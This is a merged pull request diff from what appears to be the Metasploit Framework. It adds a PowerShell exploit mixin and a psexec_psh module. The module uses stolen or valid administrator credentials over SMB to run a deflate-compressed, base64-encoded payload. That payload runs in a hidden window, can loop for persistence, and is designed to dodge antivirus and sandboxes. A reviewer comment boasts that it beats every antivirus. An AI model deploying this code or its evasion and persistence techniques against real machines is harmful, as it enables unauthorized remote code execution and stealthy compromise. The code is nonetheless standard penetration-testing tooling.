Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
178 changes: 178 additions & 0 deletions lib/msf/core/exploit/powershell.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,178 @@
# -*- coding: binary -*-
require 'zlib'

module Msf
module Exploit::Powershell

def initialize(info = {})
super
register_options(
[
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
OptBool.new('RUN_WOW64', [
true,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
]),
], self.class)
end

#
# Insert substitutions into the powershell script
#
def make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end

subs.each do |set|
script.gsub!(set[0],set[1])
end
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
return script
end

#
# Return an array of substitutions for use in make_subs
#
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
return new_subs
end

#
# Read in a powershell script stored in +script+
#
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why not just script_in = File.read(script)?

while (line = fd.gets)
script_in << line
end

# Close open file
fd.close()
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat script as a... script
script_in = script
end
return script_in
end


#
# Return a zlib compressed powershell script
#
def compress_script(script_in, eof = nil)

# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)

# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)

# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << "$stream.ReadByte()|Out-Null;"
psh_expression << "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression << "$(New-Object IO.Compression.DeflateStream("
psh_expression << "$stream,"
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"

# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end

# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)

# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)

return encoded_expression
end

#
# Runs powershell in hidden window raising interactive proc msg
#
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "

ps_wrapper = <<EOS
$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = "#{ps_bin}"
$si.Arguments = '#{ps_args}'
$si.UseShellExecute = $false
$si.RedirectStandardOutput = $true
$si.WindowStyle = 'Hidden'
$si.CreateNoWindow = $True
$p = [System.Diagnostics.Process]::Start($si)
EOS

return ps_wrapper
end

#
# Creates cmd script to execute psh payload
#
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
# Allow powershell 1.0 format
if old_psh
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
else
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
end
# Run our payload in a while loop
if datastore['PERSIST']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
# Determine appropriate architecture
ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution
command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n"
end

#
# Convert binary to byte array, read from file if able
#
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

code should be an Array of byte values at this point, so just:

code.each do |byte|
  ...
end

if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n"
end



end
end

108 changes: 108 additions & 0 deletions modules/exploits/windows/smb/psexec_psh.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
# -*- coding: binary -*-

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking

# Exploit mixins should be called first
include Msf::Exploit::Remote::SMB::Psexec
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution',
'Description' => %q{
This module uses a valid administrator username and password to execute a powershell
payload using a similar technique to the "psexec" utility provided by SysInternals. The
payload is encoded in base64 and executed from the commandline using the -encodedcommand
flag. Using this method, the payload is never written to disk, and given that each payload
is unique, is not prone to signature based detection. Since executing shellcode in .NET
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"not prone to signature based detection"

This is a bold claim. Major pieces of the payload are the same every time, most notably the beginning, which makes signature detection only slightly more difficult than a big chunk of 0x90 bytes.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The final payload is (in this PR) deflated and b64 encoded, so any variance introduced by dynamic var names and the shellcode itself alter the final chunk of script being sent over the wire pretty considerably. I could see a lot of wasted NIDS cycles decompressing and base64 decoding all the text going over SMB or WinRM.

#2075 introduces the PSH parser which handles all of this along with some basic obfuscation techniques to alter the resulting script.

This outdated payload still beats every AV on the market, and its been public in several forms for over a year :).
I think i released updated PSH payloads in 2075 as well which use gzip instead of deflate to compress the payload even more, and along the way provides another method to change whats on the wire. I tried to base32 the result, but psh doesn't seem to have a neat way to deal with b32 (which produces a MUCH smaller payload coupled with gzip).

requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
must match that of the payload. Lastly, a persist option is provided to execute the payload
in a while loop in order to maintain a form of persistence. In the event of a sandbox
observing PSH execution, a delay and other obfuscation may be added to avoid detection.
In order to avoid interactive process notifications for the current user, the psh payload has
been reduced in size and wrapped in a powershell invocation which hides the process entirely.
},

'Author' => [
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
],

'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 10,
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 8192,
'DisableNops' => true,
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 1999',
'References' => [
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
]
))
end

def exploit
command = cmd_psh_payload(payload.encoded)

if datastore['PERSIST'] and not datastore['DisablePayloadHandler']
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.")
end

if datastore['RUN_WOW64'] and target_arch.first == "x86_64"
fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled")
end

#Try and authenticate with given credentials
if connect
begin
smb_login
rescue StandardError => autherror
disconnect
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
end
# Execute the powershell command
begin
print_status("#{peer} - Executing the payload...")
vprint_good(command)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Even as a verbose print, I think this will end up being too much information.

return psexec(command)
rescue StandardError => exec_command_error
disconnect
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
end
end
end

def peer
return "#{rhost}:#{rport}"
end
end